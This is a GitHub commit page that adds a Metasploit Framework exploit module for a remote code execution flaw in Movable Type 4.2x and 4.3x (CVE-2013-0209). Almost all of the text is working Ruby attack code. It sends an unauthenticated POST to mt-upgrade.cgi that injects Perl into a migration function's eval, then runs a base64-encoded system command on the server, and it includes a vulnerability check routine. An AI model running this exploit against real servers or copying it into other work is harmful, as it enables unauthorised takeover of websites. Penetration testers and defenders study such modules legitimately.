Skip to content

Commit 1bccc41

Browse files
author
jvazquez-r7
committed
Merge branch 'module-movabletype_upgrade_exec' of https://github.com/kacpern/metasploit-framework into kacpern-module-movabletype_upgrade_exec
2 parents 96d0b13 + ba41ee9 commit 1bccc41

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
12+
include Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',
17+
'Description' => %q{
18+
This module can be used to execute a payload on MoveableType (MT) that
19+
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
20+
that is used during installation and updating of the platform.
21+
The vulnerability arises due to the following properties:
22+
1. This script may be invoked remotely without requiring authentication
23+
to any MT instance.
24+
2. Through a crafted POST request, it is possible to invoke particular
25+
database migration functions (i.e functions that bring the existing
26+
database up-to-date with an updated codebase) by name and with
27+
particular parameters.
28+
3. A particular migration function, core_drop_meta_for_table, allows
29+
a class parameter to be set which is used directly in a perl eval
30+
statement, allowing perl code injection.
31+
},
32+
'Author' =>
33+
[
34+
'Kacper Nowak',
35+
'Nick Blundell',
36+
'Gary O\'Leary-Steele'
37+
],
38+
'References' =>
39+
[
40+
['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)
41+
['CVE', '2013-0209'],
42+
['URL', 'http://www.sec-1.com/blog/?p=402'],
43+
['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']
44+
],
45+
'Arch' => ARCH_CMD,
46+
'Payload' =>
47+
{
48+
'Compat' =>
49+
{
50+
'PayloadType' => 'cmd'
51+
}
52+
},
53+
'Platform' =>
54+
[
55+
'win',
56+
'unix'
57+
],
58+
'Targets' =>
59+
[
60+
['Movable Type 4.2x, 4.3x', {}]
61+
],
62+
'Privileged' => false,
63+
'DisclosureDate' => "Jan 07 2013",
64+
'DefaultTarget' => 0))
65+
66+
register_options(
67+
[
68+
OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])
69+
], self.class)
70+
end
71+
72+
def check
73+
@peer = "#{rhost}:#{rport}"
74+
fingerprint = rand_text_alpha(5)
75+
print_status("#{@peer} - Sending check...")
76+
begin
77+
res = http_send_raw(fingerprint)
78+
rescue Rex::ConnectionError
79+
return Exploit::CheckCode::Unknown
80+
end
81+
if (res)
82+
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)
83+
return Exploit::CheckCode::Vulnerable
84+
elsif (res.code != 200)
85+
return Exploit::CheckCode::Unknown
86+
else
87+
return Exploit::CheckCode::Safe
88+
end
89+
else
90+
return Exploit::CheckCode::Unknown
91+
end
92+
end
93+
94+
def exploit
95+
@peer = "#{rhost}:#{rport}"
96+
print_status("#{@peer} - Sending payload...")
97+
http_send_cmd(payload.encoded)
98+
end
99+
100+
def http_send_raw(cmd)
101+
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'
102+
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')
103+
send_request_cgi(
104+
{
105+
'uri' => path,
106+
'method' => 'POST',
107+
'vars_post' =>
108+
{
109+
'__mode' => 'run_actions',
110+
'installing' => '1',
111+
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}
112+
}
113+
})
114+
end
115+
116+
def http_send_cmd(cmd)
117+
pay = 'v0;use MIME::Base64;system(decode_base64(q('
118+
pay << Rex::Text.encode_base64(cmd)
119+
pay << ')));return 0'
120+
http_send_raw(pay)
121+
end
122+
end

0 commit comments

Comments
 (0)